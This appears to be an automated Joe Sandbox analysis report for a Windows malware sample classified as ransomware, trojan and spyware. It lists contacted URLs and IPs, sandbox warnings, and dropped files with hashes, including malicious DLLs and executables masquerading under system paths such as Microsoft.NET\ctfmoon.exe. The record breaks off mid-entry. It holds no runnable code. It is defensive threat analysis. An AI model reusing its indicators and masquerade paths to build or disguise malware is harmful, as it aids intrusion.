https://wwww.certigna.fr/autorites/0m	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://ocsp.accv.es0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://ip.360.cn/IPShare/info	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf8	Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp	true
https://github.com/dotnet/diagnostics	Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp	true
https://www.certum.pl/CPS0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://sslcom.repository.certum.pl/ctnca.cer0:	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://members.3322.org/dyndns/getiptaskkill	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://relaxng.org/ns/structure/1.0allocating	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://crls.ssl.com/ssl.com-rsa-RootCA.crl0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
https://www.catcert.net/verarrel	svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp, ctfmoon.exe, 00000038.00000002.2294629144.0000000011D8E000.00000004.00001000.00020000.00000000.sdmp	true
http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.zlib.net/D	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://&co=&resource_id=6006&oe=utf8/api.php?query=	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.chambersign.org/chambersignroot.crl0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.xrampsecurity.com/XGCA.crl0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
https://www.catcert.net/verarrel05	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://crl.certigna.fr/certignarootca.crl01	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://sslcom.ocsp-certum.com08	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://relaxng.org/ns/structure/1.0	MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	true
http://www.accv.es00	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0	Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	true
http://www.cert.fnmt.es/dpcs/0	Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	true

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
144.76.194.78	blnc.traffmonetizer.com	Germany		24940	HETZNER-ASDE	false

Private

IP
192.168.21.179
192.168.21.178
192.168.21.177
192.168.21.176
192.168.12.127
192.168.12.128
192.168.12.129
192.168.12.123
192.168.21.182
192.168.12.124
192.168.21.181
192.168.12.125
192.168.21.180
192.168.12.126
192.168.21.186
192.168.12.120
192.168.21.185
192.168.12.121
192.168.21.184
192.168.12.122
192.168.21.183
192.168.21.168
192.168.21.167
192.168.21.166
192.168.21.165
192.168.21.169
192.168.12.116
192.168.12.117
192.168.12.118
192.168.12.119
192.168.12.112
192.168.21.171
192.168.12.113
192.168.21.170
192.168.12.114
192.168.12.115
192.168.21.175
192.168.21.174
192.168.12.110
192.168.21.173
192.168.12.111
192.168.21.172
192.168.21.199
192.168.21.198
192.168.12.109
192.168.12.105
192.168.12.106
192.168.12.107
192.168.12.108
192.168.12.101
192.168.12.102
192.168.12.103
192.168.12.104
192.168.12.100
192.168.21.189
192.168.21.188
192.168.21.187
192.168.21.193
192.168.21.192
192.168.21.191
192.168.21.190
192.168.21.197
192.168.21.196
192.168.21.195
192.168.21.194
192.168.21.135
192.168.21.134
192.168.21.133
192.168.21.132
192.168.21.139
192.168.21.138
192.168.21.137
192.168.21.136
192.168.21.142
192.168.21.141
192.168.21.140
192.168.21.124
192.168.21.123
192.168.21.122
192.168.21.121
192.168.21.128
192.168.21.127
192.168.21.126
192.168.21.125
192.168.21.129
192.168.21.131
192.168.21.130
192.168.21.157
192.168.21.156
192.168.21.155
192.168.21.154
192.168.21.159
192.168.21.158
192.168.21.160
192.168.21.164
192.168.21.163
192.168.21.162
192.168.21.161
192.168.21.146

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1468521
Start date and time:	2024-07-06 14:09:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	63
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	exe1.bin.bak.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@84/177@17/100
EGA Information:	Successful, ratio: 62.5%
HCA Information:	Successful, ratio: 56% Number of executed functions: 72 Number of non-executed functions: 362
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample based on specific behavior

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.16.100.168, 192.229.221.95, 184.28.90.27
Excluded domains from analysis (whitelisted): web.362-com.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, web.4i7i.com, hook.ftp21.cc, ocsp.digicert.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa
Execution Graph export aborted for target Meson.exe, PID 23912 because there are no executed function
Execution Graph export aborted for target Traffmonetizer.exe, PID 31264 because it is empty
Execution Graph export aborted for target ctfmoon.exe, PID 15824 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:09:56	API Interceptor	45x Sleep call for process: powershell.exe modified
08:10:17	API Interceptor	4x Sleep call for process: MpMgSvc.exe modified
08:10:46	API Interceptor	1763916x Sleep call for process: svchost.exe modified
08:11:21	API Interceptor	2421211x Sleep call for process: Traffmonetizer.exe modified

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073666111275823
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrC:KooCEYhgYEL0In
MD5:	DC3D7C1DDE361927C666749F30B66605
SHA1:	324D065C4CB1243874B384EBD3698800F1013B61
SHA-256:	C103765EA1D4B146224381133D3D721DC405A01D98D198ECB1EBDDA5CA3B6FBA
SHA-512:	C3D6CE41D20F0B75FEC5A7CAABB6DBE301921EA203D9CF6F9B1E534666A217EE9047364ECD8563578AB0C5221C377A3628E5671237D2BB459F888EF8993948C2
Malicious:	false
Reputation:	unknown
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbfcce1fb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221791041414895
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Jaza/vMUM2Uvz7DO
MD5:	5154F173B76FD1AB6EA18B38A299393D
SHA1:	72AE8C18A274975E75959701DD66610F6EF621C4
SHA-256:	BF73EB61959044C4ECFA00CB186C5E8DCE75CA2282112E8ACEE7A8060F5CBD1B
SHA-512:	1911731E02E70F1A2275604FAB0691F7D172E93605A19CD4CC0B27355B9A4B1D35B048DE37AAC0B4A7A40D00D2B286864DDF7E30EB85EBA1F62A27A2CA9D6A93
Malicious:	false
Reputation:	unknown
Preview:	....... .......A.......X\...;...{......................0.!..........{A......\|!.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................o........\|!...................~......\|!..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07644961714289306
Encrypted:	false
SSDEEP:	3:qm//lKYeHmZ5ejjn13a/h1uNisillcVO/lnlZMxZNQl:qW/lKzHgAj53qh1uNiJOewk
MD5:	8F95241CD91F2816A4F121A582BEBB1B
SHA1:	20947D91D89DD7DD4FB9335FAFCFC3D888E5C9BA
SHA-256:	D5ABFD8452C7EFBFBF60BE423F9193B8570D97F85B04AA28162DC13C8DFE83E7
SHA-512:	93A2EFD7E0CC1329C0BF0A8DB9CE3F0CB936D68A6942EE076D80D2B74EA2E293B53F2691B8EA8F632F0C018788E6C55AE07FB5B5BB60E136D1B3242E272919B1
Malicious:	false
Reputation:	unknown
Preview:	.V.......................................;...{.......\|!......{A..............{A......{A..........{A]..................~......\|!.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	5.404661321817087
Encrypted:	false
SSDEEP:	24:3LWSKco4KmZjKbmOIld6emZ9tYs4RPQoUEJ0gt/NK3R8qiagYW:7WSU4xym/jmZ9tz4RIoUl8NWR8qG
MD5:	90217BD5F8B411B528BBAC531A272615
SHA1:	D88F53D5C15857875F4E129F58C269ED344A99C2
SHA-256:	78A3B7F65552EEED909D6E4A2CC39C17F9D839559CE7A14D9B00171CD85676EA
SHA-512:	C2CC36939A9BD5B0F74A49093A8019EDC47ED374E535CA7365D65758D93AAB7AE837E2401D1B49EEA2E5F58921FBC4522FBF43A10D60F8740883FA7739437356
Malicious:	false
Reputation:	unknown
Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aw0th0bd.huj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bgicnpsc.a3g.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F88UJBO6CYIO703Q03NY.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7328611107410357
Encrypted:	false
SSDEEP:	96:YV6L33CxH546kvhkvCCt56wJLq+HO6wJLq+H/:YV6LyZZ5RJL4RJLZ
MD5:	DF69F1581D5D6C228F904BAA651CE8F6
SHA1:	BB31A906220F5D3CC6F14E78ACD88F16A8420DE0
SHA-256:	7A7B1483A494FFBFE882688B980082A82A257DADE5F9098C201FCB9EB7585277
SHA-512:	2BD25EE977F0BB981FE961F351E5893736F38A1FA2F9FAB0FB1BF97F808EE08F48671FDB686915445B70ABC48081A6FA313D8EEDDC56C7FCC4681D019ACBB9B8
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....:.#d.......j........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X9a...........................%..A.p.p.D.a.t.a...B.V.1......X7a..Roaming.@......CW.^.X7a..............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.X;a..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`.............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7328611107410357
Encrypted:	false
SSDEEP:	96:YV6L33CxH546kvhkvCCt56wJLq+HO6wJLq+H/:YV6LyZZ5RJL4RJLZ
MD5:	DF69F1581D5D6C228F904BAA651CE8F6
SHA1:	BB31A906220F5D3CC6F14E78ACD88F16A8420DE0
SHA-256:	7A7B1483A494FFBFE882688B980082A82A257DADE5F9098C201FCB9EB7585277
SHA-512:	2BD25EE977F0BB981FE961F351E5893736F38A1FA2F9FAB0FB1BF97F808EE08F48671FDB686915445B70ABC48081A6FA313D8EEDDC56C7FCC4681D019ACBB9B8
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....:.#d.......j........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X9a...........................%..A.p.p.D.a.t.a...B.V.1......X7a..Roaming.@......CW.^.X7a..............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.X;a..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`.............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Windows\Logs\RunDllExe.dll

Download File

Process:	C:\Users\user\Desktop\exe1.bin.bak.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	185526
Entropy (8bit):	4.94777669396276
Encrypted:	false
SSDEEP:	3072:C5VK0lTSG9xoC+CQpiU5M8U3mjfv2JxhGtBx0N4w:d0T9xB+CUamjfvIxhGtB6N
MD5:	D40D0D705708A8FD01B27AE352108F47
SHA1:	DB860A8020B0637D888D3A3FFD76138B2489BBEE
SHA-256:	F260355C43664A1927FAAD036370648A2448D8597FC125C48D4AC1D13F268921
SHA-512:	0419F35B8F171FA8451D576F083CF2FE1523A4CA55F9946D8AB9D454CC4EC03B46BF80EF40B1DA47B54ECC9AC41173405F465A70E637863048FD945359CD84A7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M.u.,.&.,.&.,.&.G.'.,.&.G.'.,.&.G.'.,.&.X.'.,.&.X.'.,.&.X.'.,.&.G.'.,.&.,.&.,.&FX.'.,.&FX{&.,.&.,.&.,.&FX.'.,.&Rich.,.&........PE..d...!.gf.........." .........`...............................................`............`.................................................dZ..x....@....... ...............P..X....G..p...........................pG..8............................................text............................... ..`.rdata..............................@..@.data...X....p.......P..............@....pdata....... ......................@..@_RDATA.......0......................@..@.rsrc........@......................@..@.reloc..X....P......................@..B........................................................................................................................................................................................................

C:\Windows\Microsoft.NET\.node_id

Download File

Process:	C:\Windows\Microsoft.NET\Meson.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:OSDn:r
MD5:	9516505CBB5AC3B83553523ABC1355B6
SHA1:	46FCB255B4678896598999C08C35CA7B3D85F91E
SHA-256:	D09304C95B5E76C99AE7FD32CE35C5A7CBDAD2EE8DC6B89B22895FF7035D9FD0
SHA-512:	A9CEDEA6C854722791A4777FCF07E0324C63B536EE048FEE2FDAAAC7D7E8B63C57D7E3DE819E8925E6D54EF648AD71CF10EA8713967B9993F9A777E50DF6BE9E
Malicious:	false
Reputation:	unknown
Preview:	.....\.f

C:\Windows\Microsoft.NET\Meson.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9380352
Entropy (8bit):	6.966501204115597
Encrypted:	false
SSDEEP:	98304:98VhQL+o4UQYQKJme8BR0TH/pDnP6lYucNSZGz3NUg4JkRtNcZ2N/CM:uVUDJmbBR0TH/pTixcNT3yg4JkRt+y
MD5:	87C8B215C031443D630DA6C18088F89A
SHA1:	7A17A9026EC093C4571C13C2FC128B27FBD66A11
SHA-256:	0CAEDCF61C3BFE2DA33B30ADF2F5F2C1530B6907F133F4289519A56CC5C1BAE6
SHA-512:	48D5565F5DA60371B79D2C380A63C7B416A220AE7F52656BA4ED9447CF55AB73A05C4165C61C2A95C4E586B2BAF483B0B97DCFF77C76CADFE039690DED35C43E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L............+............-..........p........\...@..........................0............@..................................`...............................p.......................................................\..............................text.....-.......-................. ..`.rdata.. ./...-.../...-.............@..@.data........\.......\.............@.../4......'....pa.......^.............@..B/19.....T_....a..`....^.............@..B/32..........i.......g.............@..B/46..........k.......h.............@..B/65.....~.....k.......h.............@..B/78.....h....Pz......Xw.............@..B/90..........0...0...6..............@..B.idata.......`.......f..............@....reloc...*...p...,...j..............@..B.symtab.>..............................B........................................................................................................

C:\Windows\Microsoft.NET\ctfmoon.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9501960
Entropy (8bit):	7.0256823838767835
Encrypted:	false
SSDEEP:	196608:FQwfQzHzARHblaR6cnawftA3YTcd1Oc5h2D:dQTzuoRbBfQYT042YD
MD5:	1DE26EF85F7218E1DF4ED675FA2B05D4
SHA1:	E5217FA3B50F625D84D5E5C4B66C031F7A2446AE
SHA-256:	FDD762192D351CEA051C0170840F1D8D171F334F06313A17EBA97CACB5F1E6E1
